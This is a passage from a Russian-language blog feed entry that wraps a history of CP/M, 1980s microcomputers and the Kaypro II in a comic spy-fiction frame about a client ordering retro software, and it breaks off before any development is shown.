  &lt;p id=&quot;aesy&quot;&gt;Приступаю к зачистке территории.&lt;/p&gt;

</content></entry><entry><id>alex0x08:paths-of-the-ancients-develop-for-cpm</id><link rel="alternate" type="text/html" href="https://blog.0x08.ru/paths-of-the-ancients-develop-for-cpm?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=alex0x08"></link><title>Необычный заказ: разработка под CP/M</title><published>2026-02-18T08:36:44.516Z</published><updated>2026-03-11T12:24:16.060Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/fc/63/fc63a164-a2f3-4abd-9162-eb6de223df49.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/fb/96/fb965bdb-a2ce-4dd7-b968-700c3214d6a2.jpeg&quot;&gt;Помните знаменитую цитату некоего Билла Г. про «640Кб хватит на всех»? Показываю этих самых «всех» и разработку для компьютеров 80х.</summary><content type="html">
  &lt;p id=&quot;Pmcl&quot;&gt;Древний дисковод ожил и издавая чудовищный скрежет стал медленно загружать мое послание. &lt;/p&gt;
  &lt;p id=&quot;1dKu&quot;&gt;Через какое-то время на экране появились строки:&lt;/p&gt;
  &lt;pre id=&quot;wyKv&quot;&gt;NE PUERO GLADIUM, DR. KRIGER.
04.03.2026&lt;/pre&gt;
  &lt;p id=&quot;Hpg3&quot;&gt;Три пары глаз повернулись ко мне в немом изумлении.&lt;/p&gt;
  &lt;p id=&quot;GHBM&quot;&gt;— Это длинная история, нам лучше присесть.&lt;/p&gt;
  &lt;p id=&quot;Ecbq&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;7igN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fb/96/fb965bdb-a2ce-4dd7-b968-700c3214d6a2.jpeg&quot; width=&quot;1600&quot; /&gt;
    &lt;figcaption&gt;Все герои в сборе.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0xq7&quot;&gt;Человек, перешагнувший порог моего маленького офиса в тот летний вечер явно имел отношение к спецслужбам — армейскую выправку и годы тренировок не спрячешь так просто. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;iios&quot;&gt;Рослый и поднятутый, в безупречном костюме и с острым, пронзительным взглядом — он производил серьезное впечатление.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;FX0T&quot;&gt;И тем странее выглядел этот заказ.&lt;/p&gt;
  &lt;p id=&quot;Wp0R&quot;&gt;— Алекс, полагаю?&lt;/p&gt;
  &lt;p id=&quot;atDZ&quot;&gt;— Он самый, рад наконец познакомиться лично. &lt;/p&gt;
  &lt;p id=&quot;txon&quot;&gt;— Вы написали, что для нас есть работа. Хотя исходя из содержания письма, задача выглядит довольно.. необычной.&lt;/p&gt;
  &lt;p id=&quot;b87B&quot;&gt;— Это проблема? Мне рекомендовали вас как опытных профессионалов..&lt;/p&gt;
  &lt;p id=&quot;7CGD&quot;&gt;— Нет, не проблема. &lt;/p&gt;
  &lt;p id=&quot;Sy3t&quot;&gt;— Просто уточняю детали, дабы убедиться, что мы понимаем друг друга. &lt;/p&gt;
  &lt;p id=&quot;fJUa&quot;&gt;— Итак, вы действительно используете компьютеры.. из 1987 года?&lt;/p&gt;
  &lt;p id=&quot;6NST&quot;&gt;..&lt;/p&gt;
  &lt;h2 id=&quot;6g9T&quot;&gt;АРХЕОТЕХ&lt;/h2&gt;
  &lt;p id=&quot;USYO&quot;&gt;Копаясь в сети в поисках очередного археотеха, был обнаружен &lt;a href=&quot;https://github.com/davidly/cpm_compilers&quot; target=&quot;_blank&quot;&gt;удивительный репозиторий&lt;/a&gt;, в котором один почтенный джентельмен, недавно отошедший от дел, собрал невероятную подборку &lt;s&gt;дичи&lt;/s&gt; инструментов разработки для компьютеров конца 70х — начала 80х:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;MVbQ&quot; data-align=&quot;center&quot;&gt;CP/M 2.2 compilers, assemblers, and interpreters&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;0Hug&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/CP/M&quot; target=&quot;_blank&quot;&gt;CP/M&lt;/a&gt;, если кто вдруг не знает (коих среди читателей точно будет большинство), это такая операционная система из далекого-далекого прошлого, созданная аж в 1974 году.&lt;/p&gt;
  &lt;p id=&quot;Np1Q&quot;&gt;Разумеется давно и крепко забытая обывателями. Для сравнения и понимания исторического периода: &lt;/p&gt;
  &lt;blockquote id=&quot;w5UX&quot;&gt;в 1977м году вышел первый фильм Джорджа Лукаса по вселенной «&lt;a href=&quot;https://en.wikipedia.org/wiki/Star_Wars&quot; target=&quot;_blank&quot;&gt;Звездных Войн&lt;/a&gt;», а в 1975м закончилась &lt;a href=&quot;https://en.wikipedia.org/wiki/Vietnam_War&quot; target=&quot;_blank&quot;&gt;война во Вьетнаме&lt;/a&gt;.&lt;/blockquote&gt;
  &lt;p id=&quot;XKDx&quot;&gt;Практически любые компьютерные материалы тех лет представляют историческую ценность, а тут аж целый репозиторий, забитый под завязку редчайшим археотехом.&lt;/p&gt;
  &lt;p id=&quot;zzYm&quot;&gt;Чтобы вы смогли оценить объем и сложность проделанной работы: &lt;/p&gt;
  &lt;blockquote id=&quot;hlTL&quot;&gt;&lt;strong&gt;каждый&lt;/strong&gt; компилятор или средство разработки из этой коллекции пришлось специально оцифровывать, считывая данные с невероятно старых носителей информации — дискет или магнитной ленты.&lt;/blockquote&gt;
  &lt;p id=&quot;Jowt&quot;&gt;C помощью дисководов, которым &lt;em&gt;лет по пятьдесят&lt;/em&gt;, типа такого:&lt;/p&gt;
  &lt;figure id=&quot;1Ll2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6f/4c/6f4c6b62-943d-4f1b-83d1-33b375bf61de.jpeg&quot; width=&quot;960&quot; /&gt;
    &lt;figcaption&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/History_of_the_floppy_disk&quot; target=&quot;_blank&quot;&gt;8-дюймовый &lt;/a&gt;(!) диск с дисководом начала 70х. Слева для сравнения &amp;quot;современная&amp;quot; 1&amp;#x27;44 дискета.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;S4xi&quot;&gt;Представляете, чего стоило все это оживить, запустить и заставить работать?&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;bIar&quot;&gt;Физические процессы, механические повреждения и влияние среды при этом никто не отменял.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;P6Ej&quot;&gt;Если быть совсем точным, то сначала был обнаружен немного &lt;a href=&quot;https://github.com/davidly/dos_compilers&quot; target=&quot;_blank&quot;&gt;другой репозиторий&lt;/a&gt; от этого же почтенного автора, где была собрана похожая коллекция, но для более обыденного DOS. &lt;/p&gt;
  &lt;p id=&quot;qeEu&quot;&gt;Лишь несколько недель спустя обнаружилось, что совсем рядом находится настоящее сокровище утраченной цивилизации — &lt;strong&gt;чистый археотех&lt;/strong&gt;. &lt;/p&gt;
  &lt;p id=&quot;AiBB&quot;&gt;И понеслась.&lt;/p&gt;
  &lt;p id=&quot;HA3u&quot;&gt;От такого изобилия начала капать слюна и дергаться глаз:&lt;/p&gt;
  &lt;figure id=&quot;yLun&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2e/2a/2e2a7584-4ba8-45a2-84d8-65ae72b4689c.gif&quot; width=&quot;800&quot; /&gt;
    &lt;figcaption&gt;Сообщения коммитов вроде &amp;quot;macos build&amp;quot; и &amp;quot;linux build&amp;quot; в одной строке с тулчейном из 70х &lt;strong&gt;невероятно доставляют&lt;/strong&gt;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kVPk&quot;&gt;Скорее всего ничего из длинного списка выше вам знакомо не будет, поскольку все эти древности на десяток-другой лет старше даже автора этих строк.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;6Ryy&quot;&gt;Отдельный восторг у искушенной публики вызовет наличие &lt;strong&gt;скриптов сборки&lt;/strong&gt; под Unix (Linux/Mac/BSD). &lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;84Jb&quot;&gt;Примерно из-за таких изумительных проектов хорошие инженеры навсегда бросают пить.&lt;/p&gt;
  &lt;p id=&quot;NlA7&quot;&gt;Но вернемся в мой кабинет — к гостю с армейской выправкой и странными, хотя и законными запросами.&lt;/p&gt;
  &lt;p id=&quot;S1TD&quot;&gt;— Этот разговор будет долгим. Не найдется ли у вас чем освежиться?&lt;/p&gt;
  &lt;p id=&quot;9vRa&quot;&gt;— Разумеется.&lt;/p&gt;
  &lt;p id=&quot;n7v8&quot;&gt;Специально для таких случаев в минибаре хранилась дежурная бутылочка &lt;a href=&quot;https://amwine.ru/catalog/krepkie_napitki/viski/the_macallan_classic_cut/&quot; target=&quot;_blank&quot;&gt;Macallan&lt;/a&gt;. И правильный лед.&lt;/p&gt;
  &lt;p id=&quot;edRz&quot;&gt;— Вижу у вас отменный вкус.&lt;/p&gt;
  &lt;p id=&quot;WLzj&quot;&gt;С наслаждением сделав глоток, гость медленно перекатывал стакан между пальцами пока лучи заката переливались на его гранях.&lt;/p&gt;
  &lt;p id=&quot;Jw1l&quot;&gt;В глазах был немой вопрос.&lt;/p&gt;
  &lt;p id=&quot;X3Wd&quot;&gt;— Увы, не могу. «Врачи-убийцы» настрого запретили любой алкоголь.&lt;/p&gt;
  &lt;p id=&quot;Lxea&quot;&gt;— Какая жалость. Со мной они такое провернули только к седьмому сезону.. Возвращась к вашему вопросу.&lt;/p&gt;
  &lt;p id=&quot;OS3r&quot;&gt;— Про компьтеры 80х и их современное использование.&lt;/p&gt;
  &lt;p id=&quot;0XEM&quot;&gt;— Видите ли, это все сценаристы и лично создатель &lt;a href=&quot;https://archer.fandom.com/wiki/Archer_Wiki&quot; target=&quot;_blank&quot;&gt;сериала&lt;/a&gt;. &lt;/p&gt;
  &lt;p id=&quot;B7OT&quot;&gt;Решили, что для уникальной атмосферы необходимо смешать гаджеты из совершенно разных эпох.&lt;/p&gt;
  &lt;p id=&quot;aytq&quot;&gt;— У них определенно получилось, &lt;a href=&quot;https://www.imdb.com/title/tt1486217/&quot; target=&quot;_blank&quot;&gt;рейтинг IMDb&lt;/a&gt; не даст соврать. &lt;/p&gt;
  &lt;p id=&quot;nmxz&quot;&gt;Ламповые компьютеры 60х, мейнфреймы IBM 70х и 8-битные микрокомпьютеры 80х спокойно существуют в одном мире с мобильными телефонами и видеосвязью.&lt;/p&gt;
  &lt;p id=&quot;K7Ud&quot;&gt;— И все это на протяжении десяти сезонов!&lt;/p&gt;
  &lt;p id=&quot;nYBq&quot;&gt;— Четырнадцати. Делаем продолжение.&lt;/p&gt;
  &lt;p id=&quot;tORH&quot;&gt;— Вот она, сила исскусства!&lt;/p&gt;
  &lt;p id=&quot;Cy0a&quot;&gt; ..&lt;/p&gt;
  &lt;p id=&quot;kIaW&quot;&gt;Искусство искусством, но прежде чем погружаться по локоть в «кровавый ад разработки» 80х c линковщиками и компиляторами, стоит рассказать о технических реалиях тех лет — оборудовании и самой операционной системе CP/M.&lt;/p&gt;
  &lt;p id=&quot;4C2c&quot;&gt;Будет интересно, даже если вы, дорогой читатель, не старше третьего GTA.&lt;/p&gt;
  &lt;figure id=&quot;tjDj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/58/f2/58f21cad-d222-4087-9478-4080e5fc5ded.jpeg&quot; width=&quot;3200&quot; /&gt;
    &lt;figcaption&gt;Аукционный дом &lt;a href=&quot;https://www.christies.com/&quot; target=&quot;_blank&quot;&gt;Christie&amp;#x27;s&lt;/a&gt;, &lt;a href=&quot;https://onlineonly.christies.com/s/firsts-history-computing-paul-g-allen-collection/group-nine-early-microcomputers-120/230058&quot; target=&quot;_blank&quot;&gt;частная коллекция Пола Аллена&lt;/a&gt;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;CRxf&quot;&gt;ЭПОХА МИКРО&lt;/h2&gt;
  &lt;p id=&quot;dyZh&quot;&gt;Между огромными мейнфреймами, занимающими машинные залы и первым домашним PC с DOS а затем и Windows, был относительно краткий период рассвета (1970-1980) &lt;a href=&quot;https://en.wikipedia.org/wiki/Microcomputer&quot; target=&quot;_blank&quot;&gt;микрокомпьютеров&lt;/a&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;192y&quot;&gt;A &lt;strong&gt;microcomputer&lt;/strong&gt; is a small, relatively inexpensive &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer&quot; target=&quot;_blank&quot;&gt;computer&lt;/a&gt; having a &lt;a href=&quot;https://en.wikipedia.org/wiki/Central_processing_unit&quot; target=&quot;_blank&quot;&gt;central processing unit&lt;/a&gt; (CPU) made out of a single &lt;a href=&quot;https://en.wikipedia.org/wiki/Integrated_circuit&quot; target=&quot;_blank&quot;&gt;integrated circuit&lt;/a&gt; &lt;a href=&quot;https://en.wikipedia.org/wiki/Microprocessor&quot; target=&quot;_blank&quot;&gt;microprocessor&lt;/a&gt;.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;YzVq&quot;&gt;Да, это официальное название, «микрокомпьютерами» назывались &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_computers_running_CP/M&quot; target=&quot;_blank&quot;&gt;множество разных девайсов&lt;/a&gt; от разных производителей, предназначенных для &lt;s&gt;игор&lt;/s&gt; домашнего использования.&lt;/p&gt;
  &lt;figure id=&quot;Knky&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d6/32/d632d1f2-3581-4ac4-9add-a4fa88a74af7.jpeg&quot; width=&quot;960&quot; /&gt;
    &lt;figcaption&gt;Знаменитый &lt;a href=&quot;https://en.wikipedia.org/wiki/Commodore_128&quot; target=&quot;_blank&quot;&gt;Commodore 128D&lt;/a&gt;&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;HX3G&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0c/ca/0cca9405-bddc-49a9-b04b-0a10d133f435.png&quot; width=&quot;544&quot; /&gt;
    &lt;figcaption&gt;Не менее знаменитый &lt;a href=&quot;https://en.wikipedia.org/wiki/TRS-80&quot; target=&quot;_blank&quot;&gt;TRS-80&lt;/a&gt;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;VWwT&quot;&gt;Это был настоящий бум домашней электроники и сотни разных компаний по всему миру начали создавать свои линейки для новой отрасли — домашних компьютеров.&lt;/p&gt;
  &lt;p id=&quot;i53E&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;0Z9a&quot;&gt;— Интересная история, крайне.. необычная. &lt;/p&gt;
  &lt;p id=&quot;da4u&quot;&gt;Рассказ гостя определенно заинтриговал.&lt;/p&gt;
  &lt;p id=&quot;oJm0&quot;&gt;За долгую жизнь со мной случилось столько разнообразной херни, что заказ на разработку для компьютера из 80х от мультяшного персонажа из сериала про  супершпионов уже не казался чем-то невероятным.&lt;/p&gt;
  &lt;p id=&quot;s2sN&quot;&gt;Куда больше вопросов вызывал сам процесс.&lt;/p&gt;
  &lt;p id=&quot;F9VT&quot;&gt;— Но все же, что конкретно мы должны реализовать?&lt;/p&gt;
  &lt;p id=&quot;83KM&quot;&gt;— И под какую машину?&lt;/p&gt;
  &lt;p id=&quot;3ZLb&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;cYGT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fa/30/fa300f7e-a94a-4968-b65c-713f3293849f.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;tx4S&quot;&gt;KAYPRO II&lt;/h2&gt;
  &lt;p id=&quot;duxz&quot;&gt;Одной из компаний, решивших поучаствовать в гонке первых домашних компьютеров была &lt;a href=&quot;https://en.wikipedia.org/wiki/Kaypro&quot; target=&quot;_blank&quot;&gt;Kaypro Corporation&lt;/a&gt;:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;UjsK&quot;&gt;&lt;strong&gt;Kaypro Corporation&lt;/strong&gt; was an American home and &lt;a href=&quot;https://en.wikipedia.org/wiki/Personal_computer&quot; target=&quot;_blank&quot;&gt;personal computer&lt;/a&gt; manufacturer based in &lt;a href=&quot;https://en.wikipedia.org/wiki/Solana_Beach&quot; target=&quot;_blank&quot;&gt;Solana Beach&lt;/a&gt;, California, in the 1980s&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;y610&quot;&gt;Хотя сама компания давно не существует, она успела &lt;s&gt;наследить&lt;/s&gt; оставить след в истории компьютеров и сердцах благодарных потомков. &lt;/p&gt;
  &lt;p id=&quot;2brQ&quot;&gt;Первый же ее продукт имел оглушительный успех:&lt;/p&gt;
  &lt;blockquote id=&quot;MNaV&quot;&gt;by mid-1983 the company was selling more than 10,000 units a month, briefly making it the fifth-largest computer maker in the world&lt;/blockquote&gt;
  &lt;p id=&quot;Jbr0&quot;&gt;&lt;strong&gt;Пятая в мире&lt;/strong&gt; по продажам, рядом с Apple и IBM — в первом ряду, не где-то сбоку, причем с первого продукта.&lt;/p&gt;
  &lt;p id=&quot;fV4f&quot;&gt;Кстати с названием тоже есть интересный нюанс:&lt;/p&gt;
  &lt;blockquote id=&quot;lt29&quot;&gt;The first Kaypro model to be released commercially was branded as the &lt;em&gt;Kaypro II&lt;/em&gt;; at the time, one of the most popular microcomputers was the &lt;a href=&quot;https://en.wikipedia.org/wiki/Apple_II&quot; target=&quot;_blank&quot;&gt;Apple II&lt;/a&gt;&lt;/blockquote&gt;
  &lt;p id=&quot;dUkK&quot;&gt;Так что цифра «два» в названии модели была добавлена ради конкуренции с Apple, а не в качестве порядкового номера — настолько сильна была &lt;s&gt;ненависть&lt;/s&gt; жажда наживы.&lt;/p&gt;
  &lt;p id=&quot;WFZH&quot;&gt;Именно этот продукт — домашний компьютер Kaypro II был выбран в качестве полигона для восстановления процесса разработки под CP/M. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;BqSI&quot;&gt;И последующей сдачи этого фантастического проекта для столь особенного заказчика.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;0ASJ&quot;&gt;Только посмотрите на эту брутальную «няшу» в стильном металлическом корпусе:&lt;/p&gt;
  &lt;figure id=&quot;0erq&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/12/d4/12d4c222-df1a-4833-a56e-9c71ec3a92ea.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vcOi&quot;&gt;Кстати, этот самый Kaypro II еще и позиционировался как &lt;strong&gt;мобильный&lt;/strong&gt;:&lt;/p&gt;
  &lt;blockquote id=&quot;VrDo&quot;&gt;Its &lt;a href=&quot;https://en.wikipedia.org/wiki/RS-232&quot; target=&quot;_blank&quot;&gt;RS-232&lt;/a&gt; port was widely used by service technicians for on-site equipment configuration, control and diagnostics&lt;/blockquote&gt;
  &lt;p id=&quot;i6vD&quot;&gt;И действительно использовался инженерами для полевых работ, примерно как современные ноутбуки:&lt;/p&gt;
  &lt;figure id=&quot;wmJA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e8/df/e8dfdff7-4088-42a4-ad2a-59839297ed5d.jpeg&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xDIG&quot;&gt;Ну как можно было пройти мимо такого сказочного девайса?&lt;/p&gt;
  &lt;p id=&quot;KOv4&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;UZ4C&quot;&gt;— Видите-ли, Алекс. &lt;/p&gt;
  &lt;p id=&quot;9Tba&quot;&gt;— У нас в.. организации есть один сотрудник. С наци.. ээ немецкими корнями и такой же педантичностью. &lt;/p&gt;
  &lt;p id=&quot;F0oJ&quot;&gt;Мой гость сделал еще один глоток виски, явно наслаждаясь процессом.&lt;/p&gt;
  &lt;p id=&quot;TOdn&quot;&gt;— Отвечает за техническое сопровождение и разные.. эксперименты. В некотором смысле — ваш коллега.&lt;/p&gt;
  &lt;p id=&quot;spKS&quot;&gt;— К великому сожалению, последнее время он начал.. скажем так, проявлять неустойчивость. Рассказывал коллегам о своей избранности и незаменимости. Стал требовать сдавать ему кровь.&lt;/p&gt;
  &lt;p id=&quot;uALD&quot;&gt;— Даже представлять не хочу, для чего ему могло понадобиться столько крови, но нам срочно необходимо это прекратить.&lt;/p&gt;
  &lt;p id=&quot;bZNR&quot;&gt;— С нашей помощью, полагаю?&lt;/p&gt;
  &lt;p id=&quot;GGeb&quot;&gt;..&lt;/p&gt;
  &lt;figure id=&quot;JsZ2&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/65/a8/65a88753-ce37-4ee2-a062-365f939861f5.jpeg&quot; width=&quot;715&quot; /&gt;
    &lt;figcaption&gt;Создатель операционной системы CP/M  &lt;a href=&quot;https://en.wikipedia.org/wiki/Gary_Kildall&quot; target=&quot;_blank&quot;&gt;Gary Kildall&lt;/a&gt; за работой, 1978 год. Огромный ящик слева это.. &lt;strong&gt;дисковод&lt;/strong&gt;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;QsAc&quot;&gt;CP/M&lt;/h2&gt;
  &lt;p id=&quot;G20n&quot;&gt;Стоит рассказать и про &lt;a href=&quot;https://en.wikipedia.org/wiki/CP/M&quot; target=&quot;_blank&quot;&gt;операционную систему тех лет&lt;/a&gt;, благо очень немногие из читателей &lt;s&gt;дожили&lt;/s&gt; имели шанс с ней поработать:&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;DTNH&quot;&gt;&lt;strong&gt;CP/M&lt;/strong&gt;,originally standing for &lt;strong&gt;Control Program/Monitor&lt;/strong&gt; and later &lt;strong&gt;Control Program for Microcomputers, &lt;/strong&gt;is a mass-market &lt;a href=&quot;https://en.wikipedia.org/wiki/Operating_system&quot; target=&quot;_blank&quot;&gt;operating system&lt;/a&gt; created in 1974 for &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_8080&quot; target=&quot;_blank&quot;&gt;Intel 8080&lt;/a&gt;/&lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_8085&quot; target=&quot;_blank&quot;&gt;85&lt;/a&gt;-based &lt;a href=&quot;https://en.wikipedia.org/wiki/Microcomputer&quot; target=&quot;_blank&quot;&gt;microcomputers&lt;/a&gt; by &lt;a href=&quot;https://en.wikipedia.org/wiki/Gary_Kildall&quot; target=&quot;_blank&quot;&gt;Gary Kildall&lt;/a&gt; of &lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_Research&quot; target=&quot;_blank&quot;&gt;Digital Research, Inc&lt;/a&gt;.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;pIs3&quot;&gt;Внешне это сильно похоже на более привычный отечественному пользователю DOS, хотя конечно же CP/M появилась гораздо раньше.&lt;/p&gt;
  &lt;figure id=&quot;F3HK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/26/b0/26b0acf1-fbfb-43ec-a8ee-63223743a43b.jpeg&quot; width=&quot;800&quot; /&gt;
    &lt;figcaption&gt;Зеленые буквы на черном фоне, за тридцать лет до выхода &amp;quot;Матрицы&amp;quot;.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iYJr&quot;&gt;Кстати скриншот выше это тоже настоящий артефакт, который был сделан после случайной археологической находки — &lt;a href=&quot;https://computerhistory.org/blog/early-digital-research-cpm-source-code/&quot; target=&quot;_blank&quot;&gt;были обнаружены исходники четырех первых версий CP/M&lt;/a&gt;, примерно 1975-79 годов.&lt;/p&gt;
  &lt;p id=&quot;Lfkb&quot;&gt;Так вот на этом скриншоте — работающая CP/M версии 1.3.. &lt;strong&gt;собранная&lt;/strong&gt; из найденных исходников! &lt;/p&gt;
  &lt;p id=&quot;Q8CA&quot;&gt;Помимо внешнего узнавания, сейчас будет еще и весьма знакомая история:&lt;/p&gt;
  &lt;blockquote id=&quot;JxPQ&quot;&gt;CP/M eventually became the &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/De_facto&quot; target=&quot;_blank&quot;&gt;de facto&lt;/a&gt;&lt;/em&gt; standard and the dominant operating system for microcomputers,in combination with the &lt;a href=&quot;https://en.wikipedia.org/wiki/S-100_bus&quot; target=&quot;_blank&quot;&gt;S-100 bus&lt;/a&gt; computers. This &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_platform&quot; target=&quot;_blank&quot;&gt;computer platform&lt;/a&gt; was widely used in business through the late 1970s and into the mid-1980s.&lt;/blockquote&gt;
  &lt;p id=&quot;tWQ4&quot;&gt;«Де-факто стандарт» и «доминирующая операционная система» — никого не напоминает? &lt;/p&gt;
  &lt;p id=&quot;EJx2&quot;&gt;А дело между прочим происходило задолго до Microsoft и ее первых продуктов. &lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Zl1D&quot;&gt;История имеет тенденцию повторяться.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;3p5p&quot;&gt;Отдельных лулзов доставит и вот &lt;a href=&quot;https://en.wikipedia.org/wiki/Z-80_SoftCard&quot; target=&quot;_blank&quot;&gt;такой замечательный девайс&lt;/a&gt;:&lt;/p&gt;
  &lt;figure id=&quot;vTWU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d7/d8/d7d81f3f-b38e-4cf8-895e-0ec7bfdd63fd.jpeg&quot; width=&quot;1920&quot; /&gt;
    &lt;figcaption&gt;Мелкомягкие никогда не изменяли себе, лепя огромные логотипы на все подряд.&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;E4AE&quot;&gt;Наберите побольше воздуха, сейчас поплохеет:&lt;/p&gt;
  &lt;blockquote id=&quot;hiHh&quot;&gt;The &lt;strong&gt;Z-80 SoftCard&lt;/strong&gt; is a plug-in &lt;a href=&quot;https://en.wikipedia.org/wiki/Apple_II_processor_cards&quot; target=&quot;_blank&quot;&gt;Apple II processor card&lt;/a&gt; developed by &lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft&quot; target=&quot;_blank&quot;&gt;Microsoft&lt;/a&gt; to turn the computer into a &lt;a href=&quot;https://en.wikipedia.org/wiki/CP/M&quot; target=&quot;_blank&quot;&gt;CP/M&lt;/a&gt; system based upon the &lt;a href=&quot;https://en.wikipedia.org/wiki/Zilog_Z80&quot; target=&quot;_blank&quot;&gt;Zilog Z80&lt;/a&gt; central processing unit (CPU). Becoming the most popular CP/M platform and Microsoft&amp;#x27;s top revenue source for 1980, it was eventually renamed the &lt;strong&gt;Microsoft SoftCard&lt;/strong&gt;, and was succeeded by Microsoft&amp;#x27;s &lt;strong&gt;Premium Softcard IIe&lt;/strong&gt; for the Apple IIe.&lt;/blockquote&gt;
  &lt;p id=&quot;jh4m&quot;&gt;Оказывается самым прибыльным продуктом мелкомягких когда-то была плата расширения для.. компьютеров Apple, позволяющая использовать на них операционную систему CP/M.&lt;/p&gt;
  &lt;p id=&quot;I6HX&quot;&gt;..&lt;/p&gt;
  &lt;p id=&quot;MjQh&quot;&gt;— Несмотря на все наши таланты и умения, думаю не сможем помочь.&lt;/p&gt;
  &lt;p id=&quot;02fu&quot;&gt;Окинув гостя взглядом и оценив его серьезную физическую подготовку, я добавил:&lt;/p&gt;
  &lt;p id=&quot;w5Ac&quot;&gt;— Полагаю в вопросах наказания, проучения и приручения вы дадите сто очков форы кому угодно..&lt;/p&gt;
  &lt;p id=&quot;Qb0y&quot;&gt;— Ну что вы, Алекс. &lt;/p&gt;
  &lt;p id=&quot;ZLbq&quot;&gt;—Конечно же речи не идет о применении насилия, мы мирные &lt;s&gt;землепашцы&lt;/s&gt; люди. К тому же для такого существуют.. профильные специалисты. &lt;/p&gt;
  &lt;p id=&quot;hhvT&quot;&gt;— Нет, боюсь все несколько сложнее.&lt;/p&gt;
  &lt;p id=&quot;abqt&quot;&gt;— Я хочу чтобы вы проучили коллегу &lt;strong&gt;морально&lt;/strong&gt; — с помощью вашего ума и инженерных талантов.&lt;/p&gt;
  &lt;p id=&quot;OID9&quot;&gt;Прикончив остатки виски, гость одним движением вернул пустой стакан на стол и внимательно посмотрел на меня.&lt;/p&gt;
  &lt;p id=&quot;eTOF&quot;&gt;— Мы договорились?&lt;/p&gt;
  &lt;p id=&quot;eioG&quot;&gt;..&lt;/p&gt;
